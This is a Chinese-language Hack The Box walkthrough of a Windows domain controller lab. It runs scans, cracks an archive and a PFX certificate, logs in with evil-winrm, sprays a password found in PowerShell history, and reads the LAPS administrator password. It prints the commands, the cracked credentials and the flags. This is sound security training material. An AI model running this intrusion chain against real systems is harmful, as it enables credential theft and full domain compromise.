目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
提取并保存靶机TCP开放端口号
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用nmap对靶机UDP开放端口进行脚本、服务、漏洞扫描
使用enum4linux尝试枚举靶机用户、共享
使用smbmap尝试枚举靶机SMB服务
使用smbclient尝试空密码列出靶机共享
手动枚举靶机SMB共享
尝试解压该压缩包却被提示需要密码
使用rockyou字典仅用0.4s就破解该压缩包密码
使用openssl查看该文件相关信息
尝试询问其他大模型查找该文件密码破解前提
在Kali_Linux直接查找该工具发现是预装好的
直接使用pfx2johnm将该pfx文件转换为哈希格式
边界突破
使用john对该pfx哈希文件进行字典爆破
使用openssl通过上述密码再次查看该pfx信息
使用openssl通过上述密码提取出私钥
使用openssl通过上述密码提取出证书
使用evil-winrm通过上述证书、密钥连接到靶机Win-RM服务
横向移动
查看当前用户权限
查看靶机中存在的用户
将靶机中的所有用户名存储到列表中
查看PS历史命令记录
使用crackmapexec通过该字符串和靶机用户列表进行密码喷洒
使用evil-winrm通过上述凭证登录到靶机Win-RM服务
权限提升
查看当前用户所属组
读取LAPS管理员(通常为域管理员)密码
使用evil-winrm通过上述密码登录到靶机Administrator用户
连接至HTB服务器并启动靶机
靶机IP:10.10.11.152
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.152 -r 1-65535 --ulimit 5000 | tee res
提取并保存靶机TCP开放端口号
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ','
53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49687,49696
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49687,49696
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.152
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.152
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.152
使用nmap对靶机UDP开放端口进行脚本、服务、漏洞扫描
nmap -sU -p53,123 -sCV --script=vuln -Pn 10.10.11.152
使用enum4linux尝试枚举靶机用户、共享
enum4linux -U -S 10.10.11.152
使用smbmap尝试枚举靶机SMB服务
smbmap -H 10.10.11.152
使用smbclient尝试空密码列出靶机共享
smbclient -L \\10.10.11.152
手动枚举靶机SMB共享
- 在\Dev目录下可以找到winrm_backup.zip文件
尝试解压该压缩包却被提示需要密码
使用rockyou字典仅用0.4s就破解该压缩包密码
- 解压出来发现是一个从没见过的文件咋办,上豆包!
PFX 是 Personal Information Exchange 的缩写,PFX 文件是一种二进制格式的文件,用于存储数字证书及其关联的私钥,还可能包含证书链信息。它将公钥证书和私钥捆绑在一起,通常用于在不同的系统和应用程序之间传输证书和密钥信息,以便进行安全通信、身份验证和加密操作。
使用openssl查看该文件相关信息
openssl pkcs12 -info -in legacyy_dev_auth.pfx
- 这里我尝试了空密码、supremelegacy。均提示密码错误
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# openssl pkcs12 -info -in legacyy_dev_auth.pfx
Enter Import Password:
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
Mac verify error: invalid password?
尝试询问其他大模型查找该文件密码破解前提
在Kali_Linux直接查找该工具发现是预装好的
locate pfx2john
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# locate pfx2john
/usr/bin/pfx2john
/usr/share/john/pfx2john.py
/usr/share/john/__pycache__/pfx2john.cpython-312.pyc
直接使用pfx2johnm将该pfx文件转换为哈希格式
pfx2john legacyy_dev_auth.pfx > pfx_hash
边界突破
使用john对该pfx哈希文件进行字典爆破
john pfx_hash --wordlist=../dictionary/rockyou.txt --format=pfx
thuglegacy
使用openssl通过上述密码再次查看该pfx信息
openssl pkcs12 -info -in legacyy_dev_auth.pfx
使用openssl通过上述密码提取出私钥
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
使用openssl通过上述密码提取出证书
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
Enter Import Password:
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ls
cert.pem key.pem legacyy_dev_auth.pfx pfx_hash
使用evil-winrm通过上述证书、密钥连接到靶机Win-RM服务
evil-winrm -S -k key.pem -c cert.pem -i 10.10.11.152
- 在该用户桌面可找到user.txt
*Evil-WinRM* PS C:\Users\legacyy\Desktop> ls
Directory: C:\Users\legacyy\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/9/2025 7:38 AM 34 user.txt
*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
02f15a49b2b79e3dbbb4f2e74cddb970
横向移动
查看当前用户权限
whoami /priv
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
查看靶机中存在的用户
net user
- 这里有个payl0ad用户有点奇怪,可能是我这个靶机有其他HACKER一起打过?
*Evil-WinRM* PS C:\Users\legacyy\Documents> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator babywyrm Guest
krbtgt legacyy payl0ad
sinfulz svc_deploy thecybergeek
TRX
The command completed with one or more errors.
将靶机中的所有用户名存储到列表中
cat user_list
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat user_list
Administrator
babywyrm
Guest
krbtgt
legacyy
payl0ad
sinfulz
svc_deploy
thecybergeek
TRX
查看PS历史命令记录
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
*Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
- 我注意到其中的字符串`E3R$Q62^12p7PLlC%KWaxuaV`
使用crackmapexec通过该字符串和靶机用户列表进行密码喷洒
crackmapexec smb 10.10.11.152 -p 'E3R$Q62^12p7PLlC%KWaxuaV' -u user_list
- 获得svc_deploy用户完整凭证
账户:svc_deploy
密码:E3R$Q62^12p7PLlC%KWaxuaV
使用evil-winrm通过上述凭证登录到靶机Win-RM服务
evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
权限提升
查看当前用户所属组
net user svc_deploy
- 由输出可见,当前用户为LAPS_Readers组用户
读取LAPS管理员(通常为域管理员)密码
Get-ADComputer dc01 -property 'ms-mcs-admpwd'
8.VHRj!(T7bJk@d(y%%[(x1+
使用evil-winrm通过上述密码登录到靶机Administrator用户
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '8.VHRj!(T7bJk@d(y%%[(x1+' -S
- 在C:\Users\TRX\Desktop目录下找到root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> ls
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/9/2025 7:38 AM 34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> gc root.txt
95cee173d9be3d1d7eda98b25e475eac